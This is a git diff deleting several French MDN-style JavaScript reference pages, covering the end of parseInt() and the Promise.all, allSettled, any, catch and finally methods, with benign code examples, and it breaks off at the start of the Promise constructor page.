{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}
- - - -
-

Attention ! On veillera à bien utiliser le second paramètre de la fonction pour éviter toute ambiguité sur la base numérique utilisée.

-
- -

Syntaxe

- -
parseInt(string, base);
- -

Paramètres

- -
-
string
-
La valeur qu'on souhaite analyser et convertir. Si l'argument string n'est pas une chaîne de caractères, elle sera convertie en une chaîne (grâce à l'opération abstraite ToString) . Les blancs contenus au début de l'argument sont ignorés.
-
base
-
-

Un entier compris entre 2 et 36 qui représente la base utilisée pour la valeur représentée dans la chaîne. La base communément utilisée est la base décimale et on utilisera donc 10 dans ce cas pour ce paramètre.

- -

Attention ! La base par défaut n'est pas 10. Ce paramètre doit toujours être utilisé, en effet s'il n'est pas spécifié, le comportement de la fonction n'est pas garanti et peut varier d'une plate-forme à une autre.

- -

Voir cependant la description ci-après qui explicite le comportement par défaut attendu.

-
-
- -

Valeur de retour

- -

Un entier obtenu à partir de l'analyse de la chaîne de caractères. Si le premier caractère ne permet d'obtenir un nombre d'après la base fournie, ce sera {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

La fonction parseInt() convertit le premier argument en une chaîne, l'analyse et renvoie un entier ou NaN. Si la valeur renvoyée n'est pas NaN, ce sera l'entier représentant le nombre contenu dans la chaîne dans la base donnée. Une base 10 est utilisée pour la base décimale, 8 pour la base octale, 16 pour la base hexadécimale. Pour les bases supérieures à 10, les lettres de l'alphabet latin seront utilisées pour représenter les chiffres supérieurs à 9. Par exemple, pour la base hexadécimale, on utilisera les lettres A à F.

- -

Si, lors de l'analyse de la chaîne, parseInt() rencontre un caractère qui n'est pas un chiffre dans la base donnée, ce caractère, ainsi que les suivants seront ignorés. parseInt() tronque les nombres fournies en valeurs entières (attention donc lorsque les chaînes utilisent une notation scientifique : "4e2" donnera la valeur 4 en base 10 et pas 400). Les espaces en début et en fin de chaîne sont autorisés.

- -

Si la base fournie vaut {{jsxref("undefined")}} ou 0 (ou si elle n'est pas utilisée comme paramètre), le moteur JavaScript procèdera comme suit :

- -
    -
  • Si l'argument string commence avec "0x" ou "0X", la base considérée sera la base 16 (hexadécimale) et le reste de la chaîne sera analysé et converti.
    • -
  • Si l'argument string commence avec "0", la base considérée sera la base 8 (octale) ou la base 10 (décimale). La base exacte qui sera choisie dépendra de l'implémentation. ECMAScript 5 définit que la base 10 doit être utilisée. Cependant, cela n'est pas supporté par tous les navigateurs. C'est pour cette raison qu'il faut toujours spécifier une base lorsqu'on utilise parseInt().
    • -
  • Si l'argument string commence avec une autre valeur, la base considérée sera la base 10.
    • -
- -

Si le premier caractère de la chaîne de caractères ne peut pas être converti, parseInt() renverra NaN.

- -

Pour des raisons arithmétiques, la valeur {{jsxref("NaN")}} n'est un nombre pour aucune base. La fonction {{jsxref("Objets_globaux/isNaN", "isNaN()")}} peut être utilisée pour déterminer si le résultat obtenu par parseInt() vaut NaN. Si NaN est utilisé dans une opération arithmétique, le résultat de cette opération sera aussi NaN (on dit que NaN est une valeur « toxique »).

- -

Pour convertir un nombre en une chaîne de caractères dans une base donnée, on utilisera monEntier.toString(base).

- -

parseInt convertira les valeurs {{jsxref("BigInt")}} en {{jsxref("Number")}} et de la précision sera perdue lors de ce traitement.

- -

Exemples

- -

Les exemples suivants renvoient tous 15 :

- -
parseInt("0xF", 16);
-parseInt("F", 16);
-parseInt("17", 8);
-parseInt(021, 8);
-parseInt("015", 10); // attention parseInt(015, 10); renvoie 13
-parseInt(15.99, 10);
-parseInt("15,123", 10);
-parseInt("FXX123", 16);
-parseInt("1111", 2);
-parseInt("15*3", 10);
-parseInt("15e2", 10);
-parseInt("15px", 10);
-parseInt("12", 13);
-
- -

Les exemples suivants renvoient NaN :

- -
parseInt("Coucou", 8); // Ce sont des lettres et pas des chiffres
-parseInt("546", 2);    // Ces chiffres ne sont pas valides pour une représentation
-                       // binaire
-
- -

Les exemples suivants renvoient tous -15 :

- -
parseInt("-F", 16);
-parseInt("-0F", 16);
-parseInt("-0XF", 16);
-parseInt(-15.1, 10)
-parseInt("-17", 8);
-parseInt("-15", 10);
-parseInt("-1111", 2);
-parseInt("-15e1", 10);
-parseInt("-12", 13);
-
- -

Les exemples suivants renvoient tous 4 :

- -
parseInt("4e2", 10);
-parseInt("4.7", 10);
- -

L'exemple suivant renvoie  224 :

- -
parseInt("0e0", 16);
-
- -

On perdra en précision si on manipule un grand entier ({{jsxref("BigInt")}}) :

- -
parseInt(900719925474099267n); // 900719925474099300
- -

Interpréter une base octale quand aucun paramètre de base n'est fourni

- -

Bien que cela soit fortement déconseillé par ECMAScript 3 et que cela soit interdit par ECMAScript 5, de nombreuses implémentations interprètent une chaîne numérique qui commence par 0 comme une valeur exprimée dans la base octale. Les instructions qui suivent peuvent avoir un résultat octal ou décimal selon les implémentations. Pour cette raison, il faut toujours définir une base lorsqu'on utilise cette fonction.

- -
parseInt("0e0"); // 0
-parseInt("08");  // 0, '8' n'est pas un chiffre octal.
-
- -

ECMAScript 5 supprime l'interprétation octale

- -

La spécification ECMAScript 5 indique, au sujet de la fonction parseInt(), que les valeurs commençant par 0 ne doivent plus être considérées comme des valeurs octales. ECMAScript 5 indique :

- -

La fonction parseInt produit une valeur entière définie par le contenu de la chaîne selon la base fournie. Les blancs en début de chaîne sont ignorés. Si la base spécifiée est 0, la base décimale sera prise en compte sauf si le nombre représenté commence par la paire de caractères 0x ou 0X auquel cas la base 16 sera prise en compte.

- -

Sur cet aspect, ECMAScript 3 diffère car il permet l'interprétation octale (bien qu'il la déconseille).

- -

De nombreuses implémentations n'ont pas adopté ce comportement en 2013. Pour cette raison (les anciens environnements et navigateurs doivent être supportés), il faut toujours définir le paramètre pour la base.

- -

Une fonction plus stricte

- -

Il est parfois utile d'avoir une fonction de conversion plus stricte. Pour cela, on peut utiliser une expression rationnelle :

- -
filterInt = function (value) {
-  if (/^(-|\+)?(\d+|Infinity)$/.test(value))
-    return Number(value);
-  return NaN;
-}
-
-console.log(filterInt('421'));               // 421
-console.log(filterInt('-421'));              // -421
-console.log(filterInt('+421'));              // 421
-console.log(filterInt('Infinity'));          // Infinity
-console.log(filterInt('421e+0'));            // NaN
-console.log(filterInt('421hop'));            // NaN
-console.log(filterInt('hop1.61803398875'));  // NaN
-console.log(filterInt('1.61803398875'));     // NaN
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.2', 'parseInt')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-parseint-string-radix', 'parseInt')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.parseInt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}
    • -
  • {{jsxref("Number.parseFloat()")}}
    • -
  • {{jsxref("Number.parseInt()")}}
    • -
  • {{jsxref("Objets_globaux/isNaN", "isNaN()")}}
    • -
  • {{jsxref("Number.toString()")}}
    • -
  • {{jsxref("Object.valueOf")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/all/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/all/index.html deleted file mode 100644 index 4cc24f3cc5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/all/index.html +++ /dev/null @@ -1,226 +0,0 @@ ---- -title: Promise.all() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/all -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all ---- -
{{JSRef}}
- -

La méthode Promise.all() renvoie une promesse ({{jsxref("Promise")}}) qui est résolue lorsque l'ensemble des promesses contenues dans l'itérable passé en argument ont été résolues ou qui échoue avec la raison de la première promesse qui échoue au sein de l'itérable.

- -
{{EmbedInteractiveExample("pages/js/promise-all.html")}}
- - - -

Syntaxe

- -
Promise.all(iterable);
- -

Paramètres

- -
-
iterable
-
Un objet itérable (tel qu'un tableau ({{jsxref("Array")}})) contenant des promesses.
-
- -

Valeur de retour

- -

Un objet {{jsxref("Promise")}} qui est

- -
    -
  • résolue immédiatement si l'itérable passé en argument est vide
    • -
  • résolue de façon asynchrone si l'itérable passé en argument ne contient aucune promesse (Chrome 58 renvoie immédiatement une promesse résolue dans ce cas)
    • -
  • en attente de résolution asynchrone dans les autres cas.
    • -
- -

Description

- -

Cette méthode peut être utile lorsqu'on souhaite agréger le résultat de plusieurs promesses.

- -
-
Valeur de résolution
-
Si toutes les promesses de l'itérable sont tenues, Promise.all est tenue et la valeur de résolution est un tableau qui contient les valeurs de résolution respectives des promesses de l'itérable (dans le même ordre). Si l'argument utilisé est un tableau vide, la méthode résoud la promesse immédiatement et de façon synchrone.
-
Valeur d'échec
-
Si l'une des promesses de l'itérable échoue, Promise.all échoue immédiatement et utilise la raison de l'échec (que les autres promesses aient été résolues ou non).
-
- -

Exemples

- -

Utiliser Promise.all()

- -

Promise.all() attend que l'ensemble des promesses soient tenues ou qu'une promesse soit rompue :

- -
var p1 = Promise.resolve(3);
-var p2 = 1337;
-var p3 = new Promise((resolve, reject) => {
-  setTimeout(resolve, 100, 'foo');
-});
-
-Promise.all([p1, p2, p3]).then(values => {
-  console.log(values); // [3, 1337, "foo"]
-});
- -

Promise.all(), un échec rapide

- -

La promesse créée par Promise.all() échoue immédiatement si l'une des promesses échoue. Dans l'exemple suivant, on fournit quatre promesses qui sont résolues après une certaine durée et une autre promesse qui est rompue immédiatement : on peut alors voir que la promesse créée par Promise.all() est rompue immédiatement.

- -
var p1 = new Promise((resolve, reject) => {
-  setTimeout(resolve, 1000, 'un');
-});
-var p2 = new Promise((resolve, reject) => {
-  setTimeout(resolve, 2000, 'deux');
-});
-var p3 = new Promise((resolve, reject) => {
-  setTimeout(resolve, 3000, 'trois');
-});
-var p4 = new Promise((resolve, reject) => {
-  setTimeout(resolve, 4000, 'quatre');
-});
-var p5 = new Promise((resolve, reject) => {
-  reject('rejet');
-});
-
-Promise.all([p1, p2, p3, p4, p5]).then(values => {
-  console.log(values);
-}, reason => {
-  console.log(reason)
-});
-
-// Dans la console :
-// "rejet"
-
-//On peut aussi employer .catch
-Promise.all([p1, p2, p3, p4, p5]).then(values => {
-  console.log(values);
-}).catch(reason => {
-  console.log(reason)
-});
-
-// Dans la console :
-// "rejet"
-
-
- -

Il est possible de modifier ce comportement en gérant les éventuels échecs :

- -
var p1 = new Promise((resolve, reject) => {
-  setTimeout(resolve, 1000, 'p1_resolution_retardee');
-});
-
-var p2 = new Promise((resolve, reject) => {
-  reject(new Error('p2_rejet_immediat'));
-});
-
-Promise.all([
-  p1.catch(error => { return error }),
-  p2.catch(error => { return error }),
-]).then(values => {
-  console.log(values[0]); // "p1_resolution_retardee"
-  console.log(values[1]); // "Error: p2_rejet_immediat"
-})
-
- -

Caractère asynchrone de Promise.all()

- -

Dans l'exemple qui suit, on illustre le caractère asynchrone de Promise.all() (et son caractère synchrone quand l'itérable passé en argument est vide) :

- -
// On passe un tableau de promesses déjà résolues
-// afin de déclencher Promise.all dès que possible
-var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
-
-var p = Promise.all(resolvedPromisesArray);
-// on affiche la valeur de p dans la console
-console.log(p);
-
-// on utilise la méthode setTimeout pour exécuter
-// du code dès que la pile est vide
-setTimeout(function() {
-    console.log('La pile est vide');
-    console.log(p);
-});
-
-// Cela affichera dans la console (et dans cet ordre) :
-// Promise { <state>: "pending" }
-// La pile est vide
-// Promise { <state>: "fulfilled", <value>: Array[2] }
-
- -

On aura le même comportement si Promise.all produit une promesse rompue :

- -
var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)];
-var p = Promise.all(mixedPromisesArray);
-console.log(p);
-setTimeout(function() {
-    console.log('La pile est vide');
-    console.log(p);
-});
-
-// Affichera :
-// Promise { <state>: "pending" }
-// La pile est vide
-// Promise { <state>: "rejected", <reason>: 44 }
-
- -

En revanche, Promise.all produit une promesse résolue de façon synchrone si et seulement si l'itérable est vide :

- -
var p = Promise.all([]); // immédiatement résolue
-
-// les valeurs qui ne sont pas des promesses
-// seront ignorées mais l'évaluation sera effectuée
-// de façon asynchrone
-var p2 = Promise.all([1337, "hi"]);
-console.log(p);
-console.log(p2)
-setTimeout(function() {
-    console.log('La pile est vide');
-    console.log(p2);
-});
-
-// Affichera :
-// Promise { <state>: "fulfilled", <value>: Array[0] }
-// Promise { <state>: "pending" }
-// La pile est vide
-// Promise { <state>: "fulfilled", <value>: Array[2] }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}{{Spec2('ES2015')}}Définition initiale dans un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.all")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
  • {{jsxref("Promise.race()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html deleted file mode 100644 index 362df28f88..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Promise.allSettled() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/allSettled -tags: - - JavaScript - - Méthode - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/allSettled ---- -

{{JSRef}}

- -

La méthode Promise.allSettled() renvoie une promesse qui est résolue une fois que l'ensemble des promesses de l'itérable passée en argument sont réussies ou rejetées. La valeur de résolution de cette promesse est un tableau d'objets dont chacun est le résultat de chaque promesse de l'itérable.

- -
{{EmbedInteractiveExample("pages/js/promise-allsettled.html")}}
- -

Syntaxe

- -
p.allSettled(iterable);
- -

Paramètres

- -
-
iterable
-
Un objet itérable tel qu'un tableau ({{jsxref("Array")}}) dont chaque élément est une promesse ({{jsxref("Promise")}}.
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}) en cours qui sera résolue de façon asynchrone une fois que chaque promesse de l'itérable a été résolue (tenue/réussie ou rejetée/échouée). Le gestionnaire passé à la promesse retournée recevra comme argument un tableau de valeur dont chacune est le résultat de chaque promesse de l'itérable initial.

- -

Pour chaque objet contenu dans ce tableau, il y aura une propriété status qui est une chaîne de caractères. Si status vaut fulfilled, alors on aura une propriété value. Si status vaut rejected, alors une propriété reason sera présente. La valeur (ou la raison) reflète la valeur de résolution de la promesse.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Promise.allSettled() (Brouillon TC39 au niveau 4){{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.allSettled")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/any/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/any/index.html deleted file mode 100644 index 7ce571e20c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/any/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Promise.any() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/any -tags: - - JavaScript - - Method - - Méthode - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any ---- -
{{JSRef}}
- -

La méthode Promise.any() prend comme argument un itérable contenant des objets {{JSxRef("Promise")}} et, dès qu'une des promesses de cet itérable est tenue, renvoie une unique promesse résolue avec la valeur de la promesse résolue. Si aucune promesse de l'itérable n'est tenue (c'est-à-dire si toutes les promesses sont rejetées), la promesse renvoyée est rompue avec un objet {{JSxRef("Objets_globaux/AggregateError", "AggregateError")}} (une nouvelle sous-classe de {{JSxRef("Error")}} qui regroupe un ensemble d'erreurs). Cette méthode fait essentiellement le contraire de {{JSxRef("Promise.all()")}} (qui renvoie une promesse tenue uniquement si toutes les promesses de l'itérable passé en argument ont été tenues).

- -

{{EmbedInteractiveExample("pages/js/promise-any.html")}}

- -

Syntaxe

- -
Promise.any(iterable);
- -

Paramètres

- -
-
iterable
-
Un objet itérable tel qu'un tableau ({{JSxRef("Array")}}) contenant des promesses ({{jsxref("Promise")}}).
-
- -

Valeur de retour

- -
    -
  • Une promesse ({{jsxref("Promise")}}) déjà résolue si l'itérable passé en argument est vide.
    • -
  • Une promesse ({{jsxref("Promise")}}) résolue en asynchrone si l'itérable passé en argument ne contient pas de promesses.
    • -
  • Une promesse ({{jsxref("Promise")}}) en attente dans tous les autres cas. La promesse renvoyée est résolue (qu'elle soit tenue ou rompue) de façon asynchrone lorsqu'au moins une des promesses de l'itérable est tenue ou si toutes les promesses ont été rompues.
    • -
- -

Description

- -

Cette méthode est utile afin de renvoyer la première promesse tenue d'un ensemble de promesse. Elle permet de court-circuiter dès qu'une promesse est tenue, sans attendre que les autres promesses soient résolues. Contrairement à {{JSxRef("Promise.all()")}} qui renvoie un tableau avec les valeurs de résolution des promesses, on a ici une seule valeur de résolution (celle de la première promesse tenue). Ce peut être bénéfique lorsqu'on a un ensemble de promesses et qu'on ne souhaite en résoudre qu'une sans se soucier de savoir laquelle des promesses a été tenue en premier.

- -

À la différence de {{JSxRef("Promise.race()")}} qui renvoie la valeur de la première promesse résolue (qu'elle ait été tenue ou rompue), Promise.any() renvoie une promesse avec la valeur de la première promesse tenue. Cette méthode ignore les promesses qui sont rompues jusqu'à obtenir une promesse tenue.

- -

Une des promesses est tenue

- -

La promesse renvoyée par Promise.any() est résolue avec la première valeur résolue de l'itérable, qu'il s'agisse d'une promesse ou non, et que les autres promesses de l'itérable aient échoué ou non.

- -
    -
  • Si une des promesses de l'itérable (non vide) est tenue ou que les valeurs fournies dans l'itérable ne sont pas des promesses, alors la promesse renvoyée par Promise.any() est résolue de façon asynchrone.
    • -
- -

Toutes les promesses sont rompues

- -

Si toutes les promesses de l'itérable échouent, Promise.any() échoue de asynchrone avec pour valeur d'échec un objet {{JSxRef("Objets_globaux/AggregateError", "AggregateError")}}, qui étend {{JSxRef("Error")}}, et contient une propriété errors qui est un tableau contenant l'ensemble des valeurs d'échec des différentes promesses de l'itérable.

- -
    -
  • Si l'itérable reçu était vide, alors la promesse retournée par cette méthode est rejetée de manière synchrone et la propriété errors de l'objet AggregateError est un tableau vide.
    • -
- -

Exemples

- -

Première résolue

- -

Promise.any() prend pour valeur de résolution celle de la première promesse résolue, et ce même si une des promesses de l'itérable a échoué avant. Ce comportement est différent de ce {{JSxRef("Promise.race()")}}, qui s'arrête à la première promesse qui se termine avec sa valeur de résolution ou d'échec.

- -
const pErr = new Promise((resolve, reject) => {
-  reject("J'échoue toujours");
-});
-
-const pLente = new Promise((resolve, reject) => {
-  setTimeout(resolve, 500, "Éventuellement résolue");
-});
-
-const pRapide = new Promise((resolve, reject) => {
-  setTimeout(resolve, 100, "Rapidement résolue");
-});
-
-Promise.any([pErr, pLente, pRapide]).then((valeur) => {
-  console.log(valeur);
-  // pRapide s'est résolue en premier
-});
-// résultat attendu : "Rapidement résolue"
- -

Échec avec AggregateError

- -

Promise.any() échoue avec un objet {{JSxRef("AggregateError")}} si aucun des promesses n'est résolue.

- -
const pErr = new Promise((resolve, reject) => {
-  reject("J'échoue toujours");
-});
-
-Promise.any([pErr]).catch((err) => {
-  console.log(err);
-})
-// résultat attendu : "AggregateError: No Promise in Promise.any was resolved"
- -

Afficher la première image chargée

- -

Dans cet exemple, nous avons une fonction qui requête une image et retourne un Blob. Nous utilisons Promise.any() pour requêter plusieurs images et afficher la première qui nous sera disponible (c'est-à-dire dont la promesse sera résolue).

- -
function fetchAndDecode(url) {
-  return fetch(url).then(réponse => {
-    if (!réponse.ok)
-      throw new Error(`Erreur HTTP ! état : ${response.status}`);
-    else
-      return réponse.blob();
-  })
-}
-
-let café = fetchAndDecode('coffee.jpg');
-let thé = fetchAndDecode('tea.jpg');
-
-Promise.any([café, thé]).then(valeur => {
-  let URLobjet = URL.createObjectURL(valeur);
-  let image = document.createElement('img');
-  image.src = URLobjet;
-  document.body.appendChild(image);
-})
-.catch(e => {
-  console.log(e.message);
-});
- -

Spécifications

- - - - - - - - - - -
Spécification
{{SpecName('Promise.any')}}
- -

Compatibilité des navigateurs

- -

{{Compat("javascript.builtins.Promise.any")}}

- -

Voir aussi

- -
    -
  • {{JSxRef("Promise")}}
    • -
  • {{JSxRef("Promise.all()")}}
    • -
  • {{JSxRef("Promise.race()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html deleted file mode 100644 index 6fd60b4c6d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: Promise.prototype.catch() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/catch -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Promise - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch ---- -
{{JSRef}}
- -

La méthode catch() renvoie un objet {{jsxref("Promise")}} et ne traite que des cas où la promesse initiale est rejetée. Elle a le même effet qu'un appel à {{jsxref("Promise.then", "Promise.prototype.then(undefined, siRejetée)")}} (c'est en fait ce qui se passe dans le moteur, obj.catch(onRejected) est traduit en obj.then(undefined, onRejected)). Cela signifie qu'il est nécessaire de fournir une fonction onRejected, même si on souhaite avoir une valeur de secours qui est undefined (par exemple avec obj.catch(() => {}).

- -
{{EmbedInteractiveExample("pages/js/promise-catch.html")}}
- - - -

Syntaxe

- -
p.catch(siRejetée);
-
-p.catch(function(raison) {
-   // rejet
-});
-
- -

Paramètres

- -
-
siRejetée
-
Une {{jsxref("Function","fonction","",1)}} à appeler si la Promise est rejetée (i.e. n'est pas tenue). Cette fonction possède un argument : -
-
raison
-
Une chaîne de caractères qui indique pourquoi la promesse n'est pas tenue.
-
- -

La promesse renvoyée par la méthode catch() est rompue si siRejetée lève une erreur ou si elle renvoie une promesse rompue. Dans les autres cas, elle est tenue.

-
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}).

- -

Description

- -

La méthode catch() est utile pour gérer les cas d'erreur en cas de compositions de plusieurs promesses. Elle renvoie elle-même une promesse et peut donc être utilisée lorsqu'on chaîne des promesses, à l'instar de la méthode sœur qu'est {{jsxref("Promise.prototype.then()")}}.

- -

Exemples

- -

Utilisation de la méthode catch

- -
var p1 = new Promise(function(resolve, reject) {
-  resolve("Succès");
-});
-
-p1.then(function(value) {
-  console.log(value); // "Succès!"
-  throw new Error("zut !");
-}).catch(function(e) {
-  console.error(e.message); // "zut !"
-}).then(function(e) {
-   console.log('après le catch, la chaîne est restaurée');
-});
-
-// Le code qui suit est équivalent :
-p1.then(function(value) {
-  console.log(value); // "Succès!"
-  return Promise.reject('zut !');
-}).catch(function(e) {
-  console.log(e); // "zut !"
-}).then(function(e){
-  console.log('après le catch, la chaîne est restaurée');
-});
-
- -

Les promesses n'interceptent pas les exceptions levées de façon asynchrone

- -
var p1 = new Promise(function(resolve, reject) {
-  throw new Error('Oh oh!');
-});
-
-p1.catch(function(e) {
-  console.log(e.message); // "Oh oh!"
-});
-
-var p2 = new Promise(function(resolve, reject) {
-  setTimeout(function() {
-    throw new Error('Exception invisible !');
-  }, 1000);
-});
-
-p2.catch(function(e) {
-  console.log(e.message); // Cela n'est jamais appelé
-});
- -

Démonstration de l'appel interne à then

- -
// On surcharge Promise.prototype.then/catch
-// pour y ajouter des logs
-(function(Promise){
-    var originalThen = Promise.prototype.then;
-    var originalCatch = Promise.prototype.catch;
-
-    Promise.prototype.then = function(){
-        console.log('> > > > > > appel de .then sur %o avec les arguments: %o', this, arguments);
-        return originalThen.apply(this, arguments);
-    };
-    Promise.prototype.catch = function(){
-        console.log('> > > > > > appel de .catch sur %o avec les arguments: %o', this, arguments);
-        return originalCatch.apply(this, arguments);
-    };
-
-})(this.Promise);
-
-
-
-// On appelle catch sur une promesse déjà résolue
-Promise.resolve().catch(function XXX(){});
-
-// Dans la console, on aura :
-// > > > > > > appel de .catch sur Promise{} avec les arguments: Arguments{1} [0: function XXX()]
-// > > > > > > appel de .then sur Promise{} avec les arguments: Arguments{2} [0: undefined, 1: function XXX()]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.catch")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
  • {{jsxref("Promise.prototype.then()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html deleted file mode 100644 index b880bc4166..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Promise.prototype.finally() -slug: Web/JavaScript/Reference/Objets_globaux/Promise/finally -tags: - - JavaScript - - Méthode - - Promises - - Reference - - finally -translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally ---- -
{{JSRef}}
- -

La méthode finally() renvoie un objet Promise et accepte en argument une fonction de callback qui est appelée lorsque la promesse a été résolue (qu'elle ait été tenue ou rejetée). Cela permet d'exécuter du code une fois que la promesse a été traitée, quel que soit le résultat. On évite ainsi de dupliquer du code entre les gestionnaires {{jsxref("Promise.then", "then()")}} et {{jsxref("Promise.catch", "catch()")}}.

- -

Syntaxe

- -
p.finally(onFinally);
-
-p.finally(function() {
-   // appelée dans tous les
-   // cas de terminaison
-});
-
- -

Paramètres

- -
-
onFinally
-
Une fonction (objet {{jsxref("Function")}}) appelé lorsque la promesse courante est résolue.
-
- -

Valeur de retour

- -

Cette méthode renvoie un objet {{jsxref("Promise")}}.

- -

Description

- -

La méthode finally peut être utile si on souhaite effectuer un traitement ou du nettoyage (fermetures de flux, libération de ressources, etc.) une fois qu'une promesse est résolue, quel que soit l'état de la résolution (tenue ou rejetée).

- -

La méthode finally est similaire à l'utilisation de la forme .then(onFinally, onFinally), on notera toutefois quelques différences :

- -
    -
  • Lorsqu'on crée une fonction en ligne, on peut ne la passer qu'une seule fois et éviter d'avoir à déclarer une variable ou à la déclarer à deux reprises.
    • -
  • Un callback finally ne recevra pas d'argument car on ne peut pas savoir si la promesse a été tenue ou rompue. Cette fonction est précisément appelée lorsqu'on ne s'intéresse pas à la raison du rejet ou à la réussite de la promesse. Une telle valeur est donc superflue. Ainsi : -
      -
    • À la différence de Promise.resolve(2).then(() => {}, () => {}) qui sera résolue avec la valeur {{jsxref("undefined")}}, Promise.resolve(2).finally(() => {}) sera résolue avec la valeur 2.
      • -
    • De même, à la différence de Promise.reject(3).then(() => {}, () => {}) qui sera résolue avec la valeur undefined, Promise.reject(3).finally(() => {}) sera rejetée avec 3.
      • -
    -
    • -
- -
-

Note : Toutefois, on notera qu'utiliser throw (ou que renvoyer une promesse rompue) dans le callback finally rejettera la promesse avec l'exception indiquée dans l'appel à throw.

-
- -

Exemples

- -
let isLoading = true;
-
-fetch(myRequest).then(function(response) {
-    var contentType = response.headers.get("content-type");
-    if(contentType && contentType.includes("application/json")) {
-      return response.json();
-    }
-    throw new TypeError("Oups, ceci n'est pas du JSON !");
-  })
-  .then(function(json) { /* traiter le JSON */ })
-  .catch(function(error) { console.log(error);
-       /* La ligne précédent peut aussi déclencher une
-          erreur (si console vaut {} par exemple) */
-   })
-  .finally(function() { isLoading = false; });
-
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-promise.prototype.finally', 'Promise.prototype.finally')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Promise.finally")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Promise")}}
    • -
  • {{jsxref("Promise.prototype.then()")}}
    • -
  • {{jsxref("Promise.prototype.catch()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/index.html deleted file mode 100644 index 36624cf3eb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/promise/index.html +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Promise -slug: Web/JavaScript/Reference/Objets_globaux/Promise -tags: - - ECMAScript 2015 - - JavaScript - - Promise - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Promise ---- -
{{JSRef}}
- -

L'objet Promise (pour « promesse ») est utilisé pour réaliser des traitements de façon asynchrone. Une promesse représente une valeur qui peut être disponible maintenant, dans le futur voire jamais.

- -
-

Note : Cet article décrit le constructeur Promise. Pour en savoir plus sur les promesses en général, nous vous conseillons de lire l'article Utiliser les promesses. Le constructeur Promise est principalement utilisé pour envelopper des fonctions qui ne prennent pas en charge les promesses.

-
- -
{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}
- - - -

Syntaxe

- -
new Promise( /* exécuteur */ function(resolve, reject) { ... } );
- -

Paramètres

- -
-
exécuteur
-
